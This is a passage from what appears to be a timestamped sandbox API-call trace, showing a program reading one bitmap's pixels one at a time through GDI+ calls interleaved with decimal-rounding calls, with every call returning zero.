GdipBitmapGetPixel (bitmap=0x1cf641a0, x=120, y=0, color=0x1c6cc480) returned 0x0 [0124.091] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.091] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.091] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.091] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.091] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=121, y=0, color=0x1c6cc480) returned 0x0 [0124.092] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.092] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.092] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.092] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.092] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=122, y=0, color=0x1c6cc480) returned 0x0 [0124.092] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.092] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.092] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.092] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.092] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=123, y=0, color=0x1c6cc480) returned 0x0 [0124.093] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.093] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.093] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.093] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.093] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=124, y=0, color=0x1c6cc480) returned 0x0 [0124.093] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.093] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.093] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.093] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.093] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=125, y=0, color=0x1c6cc480) returned 0x0 [0124.093] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.093] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.093] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.094] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.094] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=126, y=0, color=0x1c6cc480) returned 0x0 [0124.094] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.094] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.094] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.094] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.094] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=127, y=0, color=0x1c6cc480) returned 0x0 [0124.094] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.094] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.094] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.094] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.094] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=128, y=0, color=0x1c6cc480) returned 0x0 [0124.094] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.095] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.095] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.095] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.095] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=129, y=0, color=0x1c6cc480) returned 0x0 [0124.095] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.095] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.095] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.095] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.095] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=130, y=0, color=0x1c6cc480) returned 0x0 [0124.095] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.095] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.095] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.096] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.096] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=131, y=0, color=0x1c6cc480) returned 0x0 [0124.096] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.096] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.096] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.096] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.096] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=132, y=0, color=0x1c6cc480) returned 0x0 [0124.096] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.096] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.096] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.096] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.096] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=133, y=0, color=0x1c6cc480) returned 0x0 [0124.097] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.097] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.097] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.097] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.097] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=134, y=0, color=0x1c6cc480) returned 0x0 [0124.097] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.097] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.097] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.097] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.097] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=135, y=0, color=0x1c6cc480) returned 0x0 [0124.097] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.098] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.098] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.098] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.098] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=136, y=0, color=0x1c6cc480) returned 0x0 [0124.098] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.098] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.098] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.098] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.098] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=137, y=0, color=0x1c6cc480) returned 0x0 [0124.098] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.099] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.099] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.099] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.099] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=138, y=0, color=0x1c6cc480) returned 0x0 [0124.099] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.099] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.099] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.099] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.099] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=139, y=0, color=0x1c6cc480) returned 0x0 [0124.099] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.100] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.100] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.100] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.100] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=140, y=0, color=0x1c6cc480) returned 0x0 [0124.100] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.100] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.100] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.100] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.100] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=141, y=0, color=0x1c6cc480) returned 0x0 [0124.100] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.101] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.101] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.101] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.101] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=142, y=0, color=0x1c6cc480) returned 0x0 [0124.101] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.101] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.101] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.101] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.101] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=143, y=0, color=0x1c6cc480) returned 0x0 [0124.102] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.102] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.102] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.102] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.102] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=144, y=0, color=0x1c6cc480) returned 0x0 [0124.102] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.102] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.102] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.102] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.102] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=145, y=0, color=0x1c6cc480) returned 0x0 [0124.102] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.102] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.103] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.103] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.103] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=146, y=0, color=0x1c6cc480) returned 0x0 [0124.103] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.103] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.103] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.103] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.103] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=147, y=0, color=0x1c6cc480) returned 0x0 [0124.103] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.103] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.103] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.103] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.104] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=148, y=0, color=0x1c6cc480) returned 0x0 [0124.104] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.104] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.104] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.104] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.104] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=149, y=0, color=0x1c6cc480) returned 0x0 [0124.104] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.104] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.104] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.104] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.104] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=150, y=0, color=0x1c6cc480) returned 0x0 [0124.105] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.105] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.105] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.105] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.105] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=151, y=0, color=0x1c6cc480) returned 0x0 [0124.105] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.105] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.105] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.105] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.105] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=152, y=0, color=0x1c6cc480) returned 0x0 [0124.105] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.105] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.105] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.106] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.106] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=153, y=0, color=0x1c6cc480) returned 0x0 [0124.106] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.106] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.106] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.106] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.106] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=154, y=0, color=0x1c6cc480) returned 0x0 [0124.106] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.106] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.106] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.106] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.106] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=155, y=0, color=0x1c6cc480) returned 0x0 [0124.107] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.107] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.107] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.107] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.107] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=156, y=0, color=0x1c6cc480) returned 0x0 [0124.107] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.107] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.107] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.107] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.107] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=157, y=0, color=0x1c6cc480) returned 0x0 [0124.107] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.107] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.108] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.108] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.108] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=158, y=0, color=0x1c6cc480) returned 0x0 [0124.108] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.108] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.108] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.108] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.108] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=159, y=0, color=0x1c6cc480) returned 0x0 [0124.108] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.108] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.109] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.109] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.109] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=160, y=0, color=0x1c6cc480) returned 0x0 [0124.109] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.109] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.109] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.109] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.109] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=161, y=0, color=0x1c6cc480) returned 0x0 [0124.109] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.109] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.109] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.109] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.109] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=162, y=0, color=0x1c6cc480) returned 0x0 [0124.110] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.110] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.110] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.110] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.110] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=163, y=0, color=0x1c6cc480) returned 0x0 [0124.110] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.110] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.110] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.110] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.110] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=164, y=0, color=0x1c6cc480) returned 0x0 [0124.110] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.111] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.111] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.111] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.111] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=165, y=0, color=0x1c6cc480) returned 0x0 [0124.111] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.111] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.111] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.111] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.111] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=166, y=0, color=0x1c6cc480) returned 0x0 [0124.111] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.111] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.112] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.112] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.112] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=167, y=0, color=0x1c6cc480) returned 0x0 [0124.112] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.112] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.112] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.112] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.112] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=168, y=0, color=0x1c6cc480) returned 0x0 [0124.112] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.112] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.112] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.112] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.112] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=169, y=0, color=0x1c6cc480) returned 0x0 [0124.113] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.113] VarDecRound (in: 